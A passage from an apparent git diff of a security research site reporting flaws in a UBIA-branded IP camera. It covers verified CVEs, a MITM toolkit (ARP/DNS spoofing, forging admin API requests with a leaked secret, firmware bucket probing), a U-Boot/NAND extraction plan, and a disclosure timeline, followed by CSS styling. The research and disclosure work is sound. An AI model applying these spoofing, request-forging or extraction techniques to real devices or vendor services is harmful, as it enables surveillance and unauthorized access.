<dd>Ingenic T31 is fully supported by the open-source <a href="https://openipc.org/cameras/vendors/ingenic">OpenIPC</a> project: open-source u-boot, kernel, ISP libraries, NAND tools, hack-ingenic toolchain. Once the SoC is physically confirmed (PCB chip marking on a ~10×10mm QFN package marked <code>INGENIC T31</code>), the path to firmware extraction is well-known: enter U-Boot via UART, dump NAND, mount the rootfs, and read the device-side <code>libIOTCAPIs.so</code> — which is where the runtime TUTK auth key (V16) lives.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V20</span>
|
||||||
|
<span class="sev sev-info">INFO</span>
|
||||||
|
<h3>Vendor legal entity & disclosure contacts identified</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Legal entity</dt>
|
||||||
|
<dd>Shenzhen Qingshi Internet Technology Co., Ltd. (深圳市青视互联科技有限公司), trading as UBIA Technologies Co., Ltd. Founded 2014. Address: Room 1801–1805, Huafeng International Business Building, Xixiang Street, Bao'an District, Shenzhen, Guangdong, China.</dd>
|
||||||
|
<dt>Disclosure contacts</dt>
|
||||||
|
<dd><code>Allen_fang@ubia.cn</code> and <code>support@ubia.cn</code>. CISA already attempted contact regarding CVE-2025-12636 and UBIA did not respond. Worth a direct attempt to <code>Allen_fang@ubia.cn</code> with the V11–V20 findings before publication.</dd>
|
||||||
|
<dt>Sister app</dt>
|
||||||
|
<dd><code>com.ubianet.uboxpro</code> — installer / professional SKU using the same backend. Worth pulling and diffing for additional admin-tier endpoints.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="cves">
|
||||||
|
<div class="section-title">CVEs Verified On This Device</div>
|
||||||
|
|
||||||
|
<article class="cve-card">
|
||||||
|
<header>
|
||||||
|
<span class="cve-id">CVE-2025-12636</span>
|
||||||
|
<span class="cvss">CVSSv3 6.5 / CVSSv4 7.1</span>
|
||||||
|
<span class="cve-state state-vuln">VULN · LIVE</span>
|
||||||
|
</header>
|
||||||
|
<h3>Ubia Ubox Insufficiently Protected Credentials (CWE-522)</h3>
|
||||||
|
<p>Reproduces V01 above. The vendor's <code>user/device_list</code> endpoint returns the IOTC P2P device-auth password in plaintext to any authenticated owner. CISA tried to coordinate disclosure via advisory <strong>ICSA-25-310-02</strong> in October 2025; UBIA did not respond. Our independent verification reproduces the issue against current shipping firmware (2604.1.2.69) using a fresh consumer account — no privileged access required, no other tricks. The relevant verifier in our toolchain is <code>api/cve_checks.py verify_cve_2025_12636()</code>.</p>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="cve-card">
|
||||||
|
<header>
|
||||||
|
<span class="cve-id">CVE-2021-28372</span>
|
||||||
|
<span class="cvss">CVSS 9.6</span>
|
||||||
|
<span class="cve-state state-vuln">VULN · PRECONDITIONS MET</span>
|
||||||
|
</header>
|
||||||
|
<h3>ThroughTek Kalay UID-based session hijack</h3>
|
||||||
|
<p>The Kalay master server identifies cameras by 20-character alphanumeric UID alone. An attacker who knows the UID can register the same identifier against the master and intercept the next legitimate client login. The UBIC stack on this device is the rebranded Kalay SDK (V05, V16); the vector applies. We verified preconditions — UID format, P2P stack alive, master servers reachable — without performing the spoof against my own device. Verifier: <code>verify_cve_2021_28372()</code>. CISA advisory: <strong>ICSA-21-229-01</strong>.</p>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="cve-card">
|
||||||
|
<header>
|
||||||
|
<span class="cve-id">CVE-2023-6322 / 6323 / 6324</span>
|
||||||
|
<span class="cvss">RCE chain</span>
|
||||||
|
<span class="cve-state state-warn">POTENTIAL</span>
|
||||||
|
</header>
|
||||||
|
<h3>ThroughTek Kalay LAN parser chain (Bitdefender)</h3>
|
||||||
|
<p>Three flaws in the Kalay LAN protocol parser: an auth bypass, a heap overflow, and a stack overflow. The native binary on this device is confirmed Kalay (V05, V16); the chain applies. Verified non-destructively — no overflow payloads were sent to the live camera. The verifier uses only safe small probes against the device's UDP P2P listener and reports based on stack fingerprint and pre/post-probe liveness. Verifier: <code>verify_cve_2023_6322_chain()</code>.</p>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="tools">
|
||||||
|
<div class="section-title">Tools Built For This Engagement</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>Every tool used in this engagement is original. None of the off-the-shelf IoT pentest frameworks knew anything about this device. The whole stack is published as <a href="https://repo.seteclabs.io/SetecLabs/cam-mitm">repo.seteclabs.io/SetecLabs/cam-mitm</a> and is reusable as a template for any TUTK Kalay-based camera (or any IP camera with cloud + P2P architecture).</p>
|
||||||
|
|
||||||
|
<p class="modulename">setec_suite/cam-mitm</p>
|
||||||
|
<p class="muted">Camera MITM & pentesting framework. PyQt6 GUI on top of a curses TUI on top of a service controller. Real-time intercept, fuzz, inject, attack-chain runner.</p>
|
||||||
|
|
||||||
|
<ul class="tools">
|
||||||
|
<li><strong>gui.py</strong> — PyQt6 dashboard, nine tabs (Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs, Config, Help). Wraps the same Controller as the curses TUI so both UIs work.</li>
|
||||||
|
<li><strong>mitm.py</strong> — curses TUI + Controller class with per-service start/stop and iptables management.</li>
|
||||||
|
<li><strong>services/arp_spoof.py</strong> — ARP poisoning with auto-cleanup on exit.</li>
|
||||||
|
<li><strong>services/dns_spoof.py</strong> — Selective DNS hijack for cloud hostnames.</li>
|
||||||
|
<li><strong>services/http_server.py</strong> — HTTP/HTTPS interception with peek-before-wrap (so non-TLS traffic on :443 doesn't get lost when we wrap_socket too aggressively).</li>
|
||||||
|
<li><strong>services/udp_listener.py</strong> — UDP P2P / push capture on configurable ports.</li>
|
||||||
|
<li><strong>services/sniffer.py</strong> — Raw packet sniffer with conntrack-based original-destination lookup and per-packet protocol fingerprinting.</li>
|
||||||
|
<li><strong>services/intruder_watch.py</strong> — Detects ARP-spoof attempts against the camera, unknown LAN peers contacting the camera, and outbound destinations not on the known cloud whitelist.</li>
|
||||||
|
<li><strong>api/ubox_client.py</strong> — UBox cloud client. Login, devices, firmware check, families, raw POST. Plus the OAM HMAC signing client that forges admin requests with the V14-leaked secret.</li>
|
||||||
|
<li><strong>api/fuzzer.py</strong> — API endpoint discovery (146 known + ~600-entry wordlist), parameter mutation, auth-bypass tests.</li>
|
||||||
|
<li><strong>api/firmware_fetch.py</strong> — Multi-version <code>check_version</code> caller, walks the response for any URL, downloads any firmware-shaped object found.</li>
|
||||||
|
<li><strong>api/ota_bucket_probe.py</strong> — Anonymous HEAD enumeration of UBIA's Tencent COS firmware buckets across 320 path templates.</li>
|
||||||
|
<li><strong>api/cve_checks.py</strong> — Original PoC verifiers for CVE-2025-12636, CVE-2021-28372, CVE-2023-6322/3/4 + markdown report generator. Non-destructive — every verifier reports VULN/NOT_VULN/UNKNOWN with evidence and never sends an exploit payload.</li>
|
||||||
|
<li><strong>api/server.py</strong> — Local REST API on :9090 for external tool integration / AI-assisted automation.</li>
|
||||||
|
<li><strong>inject/packet.py</strong> — UDP/ARP/DNS packet injection.</li>
|
||||||
|
<li><strong>utils/log.py</strong> — Shared logging with 1 GiB log rotation.</li>
|
||||||
|
<li><strong>utils/proto.py</strong> — Payload-to-protocol fingerprinting from the first 6 bytes (TLS, HTTP, RTSP, IOTC, STUN, DNS, NTP, MQTT, SSDP, etc.).</li>
|
||||||
|
<li><strong>regen_cert.sh</strong> — Regenerates the MITM SSL cert with full SAN list (<code>*.ubianet.com</code>, <code>*.aliyuncs.com</code>, <code>*.myqcloud.com</code>, target IP).</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="screenshots">
|
||||||
|
<div class="section-title">The Tool In Action</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>Live screenshots from the engagement. All sensitive specifics (account email, JWTs, tokens, API keys) are blacked out where they appeared.</p>
|
||||||
|
|
||||||
|
<figure class="screenshot">
|
||||||
|
<img src="img/dashboard.png" alt="SetecSuite Dashboard tab — services running, protocols counted, target identified">
|
||||||
|
<figcaption><strong>Dashboard.</strong> Eight services live (ARP, DNS, HTTP, HTTPS, UDP/10240, UDP/20001, sniffer, intruder watch). Clickable per-service toggle. Protocol counter at the bottom. Target camera at <code>192.168.1.187</code> on the same /24 as the analysis box.</figcaption>
|
||||||
|
</figure>
|
||||||
|
|
||||||
|
<figure class="screenshot">
|
||||||
|
<img src="img/live_log.png" alt="SetecSuite Live Log — DNS spoof entries plus intruder events for the camera contacting unlisted hosts">
|
||||||
|
<figcaption><strong>Live Log.</strong> The camera does an absolute storm of DNS lookups on every boot. Shown: it's resolving <code>m1.ubianet.com</code> through <code>m8.ubianet.com</code> (its own Kalay master servers, which we hadn't enumerated until this run), plus <code>device-log.ubianet.com</code>, and a previously-unknown EU bucket family at <code>ubiabox-eu-1312441409.cos.eu-frankfurt.myqcloud.com</code>, <code>ubiabox-eu.oss-eu-central-1.aliyuncs.com</code>, and <code>ubiabox-eu.s3-accelerate.dualstack.amazonaws.com</code>. The intruder watcher also caught the camera contacting an unlisted host on TCP/80 (top of the trace).</figcaption>
|
||||||
|
</figure>
|
||||||
|
|
||||||
|
<figure class="screenshot">
|
||||||
|
<img src="img/intruders.png" alt="Intruder events table showing ARP spoof and unknown destination flags">
|
||||||
|
<figcaption><strong>Intruders.</strong> 28 events captured during a single boot cycle. One <code>ARP_SPOOF</code> event (the camera observed an ARP reply for its own IP from a non-camera MAC during our positioning) and 27 <code>UNKNOWN_DST</code> events (the camera reaching out to internet hosts that aren't on our pre-built whitelist of known UBIA / Tencent / Alibaba / Akamai blocks).</figcaption>
|
||||||
|
</figure>
|
||||||
|
|
||||||
|
<figure class="screenshot">
|
||||||
|
<img src="img/cloud_api_redacted.png" alt="Cloud API tab showing the credential leak response — sensitive fields redacted">
|
||||||
|
<figcaption><strong>Cloud API tab.</strong> The result panel at the bottom shows a real <code>POST /api/user/noti/device/info_changed</code> response. Email, password, and the JWT preview have been blacked out at the field level — only the field labels and the redaction markers are visible.</figcaption>
|
||||||
|
</figure>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="firmware">
|
||||||
|
<div class="section-title">What We Couldn't Get</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>The one thing this engagement could not extract was the actual <strong class="hl">firmware binary</strong>. Three reasons.</p>
|
||||||
|
|
||||||
|
<ol class="reasons">
|
||||||
|
<li>
|
||||||
|
<span class="num">01</span>
|
||||||
|
<div>
|
||||||
|
<strong>The cloud refuses to push it.</strong> Multiple <code>check_version/v3</code> calls with progressively older fake versions (down to <code>2604.0.0.1</code>) all return <code>{"data":{"result":{}},"msg":"success"}</code>. The cloud accepts the request shape — we verified against <code>com/apiv3/bean/AdvancedSettings.java:827-857</code> byte-for-byte — but has no OTA campaign active for this model. The vendor either retired the model or pinned it to its current shipped version permanently.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">02</span>
|
||||||
|
<div>
|
||||||
|
<strong>The OTA bucket name leaked but listing is locked.</strong> We extracted <code>ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com</code> from <code>app/getconfig</code>. We confirmed individual files can be public-read (a demo MP4 at <code>dev_add_doc/1159_video/...</code> is anonymous-readable). But anonymous bucket listing returns AccessDenied, and 320 guessed paths for our product ID returned zero hits. Without the real filename pattern, blind enumeration is hopeless.
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
<li>
|
||||||
|
<span class="num">03</span>
|
||||||
|
<div>
|
||||||
|
<strong>The TUTK auth key isn't in the app.</strong> We dumped every native library in the APK. <code>libUBICAPIs.so</code> has the symbols (<code>p4p_crypto_init</code>, <code>p4p_device_auth</code>, <code>p4p_client_send_masterhello</code>) but no static auth key. <code>p4p_crypto_init</code> allocates buffers and the key is supplied at runtime by a caller. The TUTK key is therefore either runtime-derived from the cloud login response, or compiled into the device-side firmware (not the app).
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<p>The path forward is one of: (a) MITM the camera's own boot-time firmware check on a live network and capture the URL the cloud serves to the device itself; (b) Frida-hook the running app and dump <code>p4p_crypto_init</code>'s arguments at runtime; (c) physical UART access to the camera, drop into U-Boot, dump NAND, extract the device-side libraries — the standard OpenIPC T31 flow now that we've identified the SoC (V19).</p>
|
||||||
|
|
||||||
|
<h4 style="font-family:'VT323',monospace; font-size:18px; color:var(--link); margin-top:24px; letter-spacing:2px;">Phase 2 — Hardware Teardown (planned)</h4>
|
||||||
|
<p>The next phase of this engagement, scheduled for the disclosure-window period, is a <strong class="hl">full physical teardown and hardware-side analysis</strong>:</p>
|
||||||
|
<ul class="tools">
|
||||||
|
<li><strong>Open the case</strong> — non-destructive disassembly, document every screw and clip for reassembly</li>
|
||||||
|
<li><strong>Identify the SoC</strong> by chip marking on the QFN package (~10×10mm). UBIA's own marketing says Ingenic T31 (V19); we confirm with the eyeball</li>
|
||||||
|
<li><strong>Map the PCB</strong> — identify UART TX/RX/GND test points (often labeled, often four pads in a row near the SoC), SPI flash chip, NAND chip, status LEDs, and any debug headers</li>
|
||||||
|
<li><strong>Hook a USB-UART adapter</strong> at standard 115200 8N1 and capture the U-Boot boot log + Linux dmesg. The boot log alone almost always reveals: kernel version, rootfs layout, MTD partition map, secondary boot args, and any failsafe modes</li>
|
||||||
|
<li><strong>Drop into U-Boot</strong> by hitting Enter during the 1-second boot countdown. From U-Boot we can <code>md</code> arbitrary memory, <code>nand dump</code> the entire flash, and load custom kernels via TFTP</li>
|
||||||
|
<li><strong>Dump NAND</strong> — either via U-Boot's <code>nand dump</code> command, or by physically lifting the SPI flash with a clip programmer (CH341A or similar). Image is then mounted with <code>jefferson</code> / <code>ubidump</code> / <code>binwalk</code> to extract the rootfs</li>
|
||||||
|
<li><strong>Extract the device-side <code>libIOTCAPIs.so</code></strong> — this is the missing piece from the app-side analysis (V16). The device-side library is where the runtime TUTK auth key actually lives, and where any encryption key derivation happens. With the rootfs in hand, this is a 60-second <code>find</code> + <code>strings</code> job</li>
|
||||||
|
<li><strong>Identify any custom firmware obfuscation</strong> — UBIA may apply XOR, AES, or simple bit-rotation to firmware images on the OTA path. Whatever scheme they use is hardcoded in the device-side bootloader and trivially recovered with rootfs access</li>
|
||||||
|
<li><strong>Build OpenIPC</strong> for the confirmed T31 variant and flash a known-good bootable image. This gives us a permanent root shell on the device for ongoing research, and lets us replay traffic against UBIA's cloud as the camera</li>
|
||||||
|
<li><strong>Document everything</strong> — PCB photos, pinout diagrams, U-Boot environment, partition layout, and the firmware extraction recipe. Shipped as a Phase 2 addendum to this report so other researchers don't have to repeat the same work</li>
|
||||||
|
</ul>
|
||||||
|
<p>Once Phase 2 is complete, the remaining gaps in this report — specifically, the runtime TUTK auth key (V16) and the actual <code>filename</code> string the cloud uses for OTA paths (V12) — should both be filled in. Phase 2 will be published as <code>camhak.seteclabs.io/phase2</code> when complete, or merged into this report if the disclosure window has not yet closed.</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="disclosure">
|
||||||
|
<div class="section-title">Disclosure Timeline</div>
|
||||||
|
<div class="text-block">
|
||||||
|
|
||||||
|
<table class="findings">
|
||||||
|
<thead><tr><th>Date</th><th>Event</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>2025-10-XX</td><td>CISA publishes ICSA-25-310-02 (CVE-2025-12636); UBIA does not respond to coordination</td></tr>
|
||||||
|
<tr><td>2026-03-30</td><td>Setec Labs begins independent investigation of the Javiscam 2604</td></tr>
|
||||||
|
<tr><td>2026-04-09</td><td>Findings V01–V20 documented; live verification of CVE-2025-12636 and OAM secret forging completed</td></tr>
|
||||||
|
<tr><td>2026-04-09</td><td><strong>This report published</strong> with sensitive specifics redacted; vendor notified at <code>Allen_fang@ubia.cn</code></td></tr>
|
||||||
|
<tr><td>2026-07-08</td><td><strong>+90 days.</strong> If no vendor response by this date, full unredacted artifact pack is released publicly</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<p>One CVE on this device is already public: <strong class="hl">CVE-2025-12636</strong> went out via CISA in October 2025. The advisory specifically notes that UBIA did not respond to coordination attempts. Our independent verification reproduces the exact issue against current shipping firmware.</p>
|
||||||
|
|
||||||
|
<p>The other findings (V11–V20) are new. We are sitting on the most sensitive specifics — the actual leaked secret values, the alternate hardcoded password, and any working OAM endpoint paths discovered after publication — and will not publish those until either:</p>
|
||||||
|
|
||||||
|
<ul class="disclosure">
|
||||||
|
<li>UBIA acknowledges the report and ships fixes for V11–V20, OR</li>
|
||||||
|
<li>90 days pass with no response, matching standard responsible-disclosure practice.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<p>If you are at UBIA and want to talk before the clock runs out, the contact is below. If you are a CISA coordinator who handled the original ICSA-25-310-02 disclosure and want the unredacted technical pack, same address.</p>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<!-- ─────────────────────────────────────────────────── -->
|
||||||
|
<section class="section reveal" id="contact">
|
||||||
|
<div class="section-title">Contact</div>
|
||||||
|
<div class="text-block">
|
||||||
|
<p>For the unredacted artifact pack, coordinated disclosure inquiries, or follow-up questions on methodology:</p>
|
||||||
|
<p style="text-align:center; font-size:18px; font-family:'VT323',monospace; letter-spacing:2px; color:var(--link); text-shadow:0 0 12px var(--link); margin: 24px 0;">
|
||||||
|
sssnake [at] seteclabs.io
|
||||||
|
</p>
|
||||||
|
<p>PGP key: <code>seteclabs.io/sssnake.asc</code></p>
|
||||||
|
<p>Source code: <a href="https://repo.seteclabs.io/SetecLabs/cam-mitm">repo.seteclabs.io/SetecLabs/cam-mitm</a></p>
|
||||||
|
<p>This report: <a href="https://camhak.seteclabs.io">camhak.seteclabs.io</a></p>
|
||||||
|
<p class="signoff">— <span class="link">SsSnake</span> // <em>Lord of the Abyss</em></p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<div class="quote-block">
|
||||||
|
<div class="quote-text">"The only secure system is one that's powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards — and even then I have my doubts."</div>
|
||||||
|
<div class="quote-attr">— Gene Spafford</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<hr class="divider">
|
||||||
|
|
||||||
|
<div class="prompt">
|
||||||
|
<span class="prompt-host">guest@setec</span><span class="prompt-sep">:</span><span class="prompt-cwd">~/camhak</span><span class="prompt-sep">$</span> <span class="prompt-cmd">cat report.md | wc -w</span><span class="prompt-cursor">█</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
<p>// CAMHAK :: a project of <a href="https://seteclabs.io">Setec Labs</a> //</p>
|
||||||
|
<p>// Source: <a href="https://repo.seteclabs.io/SetecLabs/cam-mitm">repo.seteclabs.io/SetecLabs/cam-mitm</a> //</p>
|
||||||
|
<p>// 2026 SsSnake / Setec Labs · CC-BY-4.0 //</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="boot.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
730
site/style.css
Normal file
730
site/style.css
Normal file
@@ -0,0 +1,730 @@
|
|||||||
|
/* ─────────────────────────────────────────────────────────
|
||||||
|
camhak.seteclabs.io — extends seteclabs.io/style.css
|
||||||
|
Aesthetic: phosphor CRT, elevated. Boot sequence, decrypt
|
||||||
|
reveals, pulsing severity badges, glitch hero, custom cursor.
|
||||||
|
───────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--green: #00ff41;
|
||||||
|
--green-dim: #00cc33;
|
||||||
|
--green-dark: #009922;
|
||||||
|
--green-deep: #004d11;
|
||||||
|
--bg: #050605;
|
||||||
|
--bg-light: #0c0e0c;
|
||||||
|
--bg-soft: #08140a;
|
||||||
|
--border: #00ff4133;
|
||||||
|
--text: #00ff41;
|
||||||
|
--text-dim: #00aa2a;
|
||||||
|
--link: #00ffaa;
|
||||||
|
--link-hover: #ffffff;
|
||||||
|
--red: #ff3344;
|
||||||
|
--red-glow: #ff334466;
|
||||||
|
--amber: #ffb000;
|
||||||
|
--info: #5ec8ff;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
background: var(--bg);
|
||||||
|
cursor: crosshair;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* override the inherited body for sharper black */
|
||||||
|
body {
|
||||||
|
background: radial-gradient(ellipse at center, #061008 0%, #020302 70%, #000 100%);
|
||||||
|
position: relative;
|
||||||
|
overflow-x: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── ATMOSPHERICS ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
/* fine grain noise */
|
||||||
|
.grain {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 9998;
|
||||||
|
opacity: 0.10;
|
||||||
|
mix-blend-mode: overlay;
|
||||||
|
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='160' height='160'><filter id='n'><feTurbulence type='fractalNoise' baseFrequency='0.95' numOctaves='2' stitchTiles='stitch'/><feColorMatrix values='0 0 0 0 0 0 0 0 0 1 0 0 0 0 0.25 0 0 0 1 0'/></filter><rect width='100%25' height='100%25' filter='url(%23n)'/></svg>");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* corner vignette */
|
||||||
|
.vignette {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 9997;
|
||||||
|
background: radial-gradient(ellipse at center, transparent 40%, rgba(0,0,0,0.7) 100%);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* CRT bezel — subtle inset shadow simulating screen curvature */
|
||||||
|
.bezel {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: 9996;
|
||||||
|
box-shadow:
|
||||||
|
inset 0 0 120px rgba(0, 30, 0, 0.6),
|
||||||
|
inset 0 0 60px rgba(0, 255, 65, 0.05);
|
||||||
|
border-radius: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── HUD ───────────────────────────────────────────────── */
|
||||||
|
#hud {
|
||||||
|
position: fixed;
|
||||||
|
top: 14px;
|
||||||
|
right: 18px;
|
||||||
|
z-index: 100;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
text-align: right;
|
||||||
|
background: rgba(0, 10, 0, 0.6);
|
||||||
|
border: 1px solid var(--green-deep);
|
||||||
|
padding: 8px 12px;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
text-shadow: 0 0 6px var(--green-deep);
|
||||||
|
}
|
||||||
|
|
||||||
|
.hud-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: flex-end;
|
||||||
|
gap: 8px;
|
||||||
|
margin: 1px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hud-key {
|
||||||
|
color: var(--text-dim);
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hud-val {
|
||||||
|
color: var(--green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.hud-blink {
|
||||||
|
color: var(--green);
|
||||||
|
animation: hud-pulse 1.4s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes hud-pulse {
|
||||||
|
0%, 100% { opacity: 0.3; text-shadow: 0 0 2px var(--green); }
|
||||||
|
50% { opacity: 1; text-shadow: 0 0 12px var(--green), 0 0 4px var(--green); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── BOOT TERMINAL ─────────────────────────────────────── */
|
||||||
|
#boot {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--text-dim);
|
||||||
|
margin: 30px 0 10px 0;
|
||||||
|
min-height: 8em;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
text-shadow: 0 0 6px var(--green-deep);
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
#boot .ok { color: var(--green); }
|
||||||
|
#boot .warn { color: var(--amber); }
|
||||||
|
#boot .err { color: var(--red); }
|
||||||
|
#boot .cur { animation: cur 0.8s steps(1) infinite; }
|
||||||
|
|
||||||
|
@keyframes cur {
|
||||||
|
50% { opacity: 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── HERO LOGO + GLITCH ───────────────────────────────── */
|
||||||
|
#ascii-logo {
|
||||||
|
text-align: center;
|
||||||
|
margin: 18px 0 6px 0;
|
||||||
|
font-family: 'Courier New', monospace;
|
||||||
|
font-size: 11px;
|
||||||
|
line-height: 1.05;
|
||||||
|
color: var(--green);
|
||||||
|
white-space: pre;
|
||||||
|
text-shadow:
|
||||||
|
0 0 4px var(--green),
|
||||||
|
0 0 14px var(--green),
|
||||||
|
0 0 30px var(--green-deep),
|
||||||
|
0 0 50px var(--green-deep);
|
||||||
|
letter-spacing: 1px;
|
||||||
|
position: relative;
|
||||||
|
animation: hero-fade-in 1.4s ease-out 0.4s both;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes hero-fade-in {
|
||||||
|
0% { opacity: 0; filter: blur(8px); transform: translateY(-6px); }
|
||||||
|
60% { opacity: 1; filter: blur(0); }
|
||||||
|
100% { opacity: 1; filter: blur(0); transform: translateY(0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* RGB-split glitch on hover */
|
||||||
|
.glitch {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.glitch::before, .glitch::after {
|
||||||
|
content: attr(data-text);
|
||||||
|
position: absolute;
|
||||||
|
top: 0; left: 0; right: 0;
|
||||||
|
font-family: inherit;
|
||||||
|
font-size: inherit;
|
||||||
|
line-height: inherit;
|
||||||
|
color: var(--green);
|
||||||
|
pointer-events: none;
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ascii-logo:hover {
|
||||||
|
animation: glitch-shake 0.4s linear;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes glitch-shake {
|
||||||
|
0%, 100% { transform: translate(0,0); }
|
||||||
|
10% { transform: translate(-2px, 1px); filter: hue-rotate(-15deg); }
|
||||||
|
20% { transform: translate(2px, -1px); }
|
||||||
|
30% { transform: translate(-1px, 2px); filter: hue-rotate(15deg); }
|
||||||
|
40% { transform: translate(1px, -2px); }
|
||||||
|
50% { transform: translate(-2px, -1px); }
|
||||||
|
60% { transform: translate(2px, 1px); filter: hue-rotate(-25deg); }
|
||||||
|
70% { transform: translate(-1px, -2px); }
|
||||||
|
80% { transform: translate(1px, 2px); }
|
||||||
|
90% { transform: translate(0,0); filter: hue-rotate(0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
#tagline {
|
||||||
|
text-align: center;
|
||||||
|
font-family: 'VT323', monospace;
|
||||||
|
font-size: 22px;
|
||||||
|
color: var(--green);
|
||||||
|
margin: 12px 0 6px 0;
|
||||||
|
text-shadow: 0 0 18px var(--green), 0 0 4px var(--green);
|
||||||
|
letter-spacing: 4px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
animation: hero-fade-in 1.2s ease-out 0.9s both;
|
||||||
|
}
|
||||||
|
|
||||||
|
.byline {
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text-dim);
|
||||||
|
font-size: 11px;
|
||||||
|
letter-spacing: 3px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
margin-bottom: 12px;
|
||||||
|
animation: hero-fade-in 1.2s ease-out 1.2s both;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ─── NAV ───────────────────────────────────────────────── */
|
||||||
|
nav {
|
||||||
|
text-align: center;
|
||||||
|
margin: 18px 0;
|
||||||
|
padding: 10px 0;
|
||||||
|
border-top: 1px dashed var(--green-deep);
|
||||||
|
border-bottom: 1px dashed var(--green-deep);
|
||||||
|
animation: hero-fade-in 1s ease-out 1.5s both;
|
||||||
|
}
|
||||||
|
|
||||||
|
nav a {
|
||||||
|
color: var(--link);
|
||||||
|
text-decoration: none;
|
||||||
|
margin: 0 10px;
|
||||||
|
font-size: 12px;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
position: relative;
|
||||||
|
transition: color 0.2s, text-shadow 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
nav a:hover {
|
||||||
|
color: #fff;
|
||||||
|
text-shadow: 0 0 12px var(--green), 0 0 2px #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
nav a:hover::before {
|
||||||
|
content: '> ';
|
||||||
|
